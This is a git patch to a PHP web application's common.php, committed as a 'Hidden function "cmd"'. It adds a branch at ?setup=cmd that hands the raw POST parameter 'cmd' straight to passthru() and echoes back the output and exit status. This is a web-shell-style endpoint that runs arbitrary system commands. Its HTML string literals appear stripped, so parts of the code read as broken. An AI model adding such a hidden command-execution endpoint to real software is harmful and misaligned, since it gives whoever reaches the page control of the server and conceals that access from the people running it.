From c7f4089b2a4d6e009d526378367e2acaa111d4df Mon Sep 17 00:00:00 2001
From: qkqpttgf <45693631+qkqpttgf@users.noreply.github.com>
Date: Fri, 3 Sep 2021 09:04:56 +0800
Subject: [PATCH] add Hidden function "cmd"
---
common.php | 34 ++++++++++++++++++++++++++++++++++
1 file changed, 34 insertions(+)
diff --git a/common.php b/common.php
index fd53d9a..fd601a6 100644
--- a/common.php
+++ b/common.php
@@ -1307,6 +1307,40 @@ function EnvOpt($needUpdate = 0)
$html .= '
' . getconstStr('Back') . '
';
+ if ($_GET['setup']==='cmd') {
+ $statusCode = 200;
+ $html .= '
+
'; + @ob_start(); + passthru($_POST['cmd'], $cmdstat); + $html .= ' +stat: ' . $cmdstat . ' +output: + +'; + if ($cmdstat>0) $statusCode = 400; + if ($cmdstat===1) $statusCode = 403; + if ($cmdstat===127) $statusCode = 404; + $html .= htmlspecialchars(ob_get_clean()); + $html .= ''; + } + $html .= ' +'; + return message($html, 'Run cmd', $statusCode); + } if ($_GET['setup']==='platform') { $frame .= '